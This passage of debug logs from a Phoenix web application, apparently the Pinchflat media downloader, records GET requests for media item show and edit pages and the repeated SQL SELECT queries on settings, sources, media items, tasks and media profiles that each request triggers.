s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.398 [debug] QUERY OK source="settings" db=0.3ms idle=19.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.399 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.401 [debug] QUERY OK source="media_profiles" db=0.7ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.404 [info] GET /sources/10/media/12654 21:43:14.404 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12654", "source_id" => "10"} Pipelines: [:browser] 21:43:14.404 [info] Sent 200 in 10ms 21:43:14.405 [debug] QUERY OK source="media_items" db=0.4ms idle=7.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12654] 21:43:14.407 [debug] QUERY OK source="tasks" db=0.5ms idle=8.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12654] 21:43:14.407 [debug] QUERY OK source="sources" db=0.9ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.408 [debug] QUERY OK source="settings" db=0.2ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.408 [debug] QUERY OK source="settings" db=0.2ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.412 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.414 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.415 [info] Sent 200 in 11ms 21:43:14.494 [info] GET /sources/10/media/12654/edit 21:43:14.495 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12654", "source_id" => "10"} Pipelines: [:browser] 21:43:14.496 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=88.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12654] 21:43:14.497 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=88.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.498 [debug] QUERY OK source="settings" db=0.4ms idle=88.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.499 [debug] QUERY OK source="settings" db=0.2ms idle=86.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.501 [info] Sent 200 in 6ms 21:43:14.562 [info] GET /sources/10/media/12653/edit 21:43:14.563 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12653", "source_id" => "10"} Pipelines: [:browser] 21:43:14.564 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=149.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12653] 21:43:14.565 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=67.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.566 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=67.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.567 [debug] QUERY OK source="settings" db=0.4ms idle=68.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.568 [info] Sent 200 in 5ms 21:43:14.586 [info] GET /sources/10/media/12655/edit 21:43:14.587 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12655", "source_id" => "10"} Pipelines: [:browser] 21:43:14.588 [debug] QUERY OK source="media_items" db=0.5ms idle=88.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12655] 21:43:14.589 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=24.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.590 [debug] QUERY OK source="settings" db=0.3ms idle=24.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.591 [debug] QUERY OK source="settings" db=0.5ms idle=25.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.594 [info] Sent 200 in 7ms 21:43:14.598 [info] GET /sources/10/media/12655 21:43:14.599 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12655", "source_id" => "10"} Pipelines: [:browser] 21:43:14.600 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=32.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12655] 21:43:14.601 [debug] QUERY OK source="tasks" db=0.6ms idle=12.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12655] 21:43:14.601 [debug] QUERY OK source="sources" db=0.7ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.603 [debug] QUERY OK source="settings" db=0.3ms idle=12.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.604 [debug] QUERY OK source="settings" db=0.7ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.605 [debug] QUERY OK source="settings" db=0.3ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.607 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.610 [info] Sent 200 in 11ms 21:43:14.618 [info] GET /sources/10/media/12656 21:43:14.618 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12656", "source_id" => "10"} Pipelines: [:browser] 21:43:14.619 [debug] QUERY OK source="media_items" db=0.7ms idle=16.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12656] 21:43:14.621 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=17.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12656] 21:43:14.622 [debug] QUERY OK source="sources" db=1.4ms idle=16.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.623 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=17.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.624 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=17.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.626 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.628 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.631 [info] Sent 200 in 13ms 21:43:14.640 [info] GET /sources/10/media/12657 21:43:14.640 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12657", "source_id" => "10"} Pipelines: [:browser] 21:43:14.642 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=19.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12657] 21:43:14.644 [debug] QUERY OK source="tasks" db=0.6ms idle=18.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12657] 21:43:14.644 [debug] QUERY OK source="sources" db=1.0ms idle=19.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.646 [debug] QUERY OK source="settings" db=0.6ms idle=19.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.647 [debug] QUERY OK source="settings" db=0.3ms idle=18.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.649 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.651 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.652 [info] GET /sources/10/media/12656/edit 21:43:14.652 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12656", "source_id" => "10"} Pipelines: [:browser] 21:43:14.654 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=8.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12656] 21:43:14.654 [info] Sent 200 in 14ms 21:43:14.655 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.656 [debug] QUERY OK source="settings" db=0.5ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.657 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.660 [info] Sent 200 in 7ms 21:43:14.736 [info] GET /sources/10/media/12657/edit 21:43:14.736 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12657", "source_id" => "10"} Pipelines: [:browser] 21:43:14.739 [debug] QUERY OK source="media_items" db=2.7ms idle=85.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12657] 21:43:14.740 [debug] QUERY OK source="settings" db=0.6ms idle=86.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.741 [debug] QUERY OK source="settings" db=0.2ms idle=85.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.743 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=85.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.745 [info] Sent 200 in 8ms 21:43:14.777 [info] GET /sources/10/media/12658 21:43:14.778 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12658", "source_id" => "10"} Pipelines: [:browser] 21:43:14.780 [debug] QUERY OK source="media_items" db=0.7ms queue=0.5ms idle=121.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12658] 21:43:14.783 [debug] QUERY OK source="tasks" db=0.8ms queue=0.3ms idle=42.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12658] 21:43:14.783 [debug] QUERY OK source="sources" db=1.5ms idle=41.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.785 [debug] QUERY OK source="settings" db=0.4ms idle=43.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.785 [debug] QUERY OK source="settings" db=0.2ms idle=42.1ms SELECT s0."id", 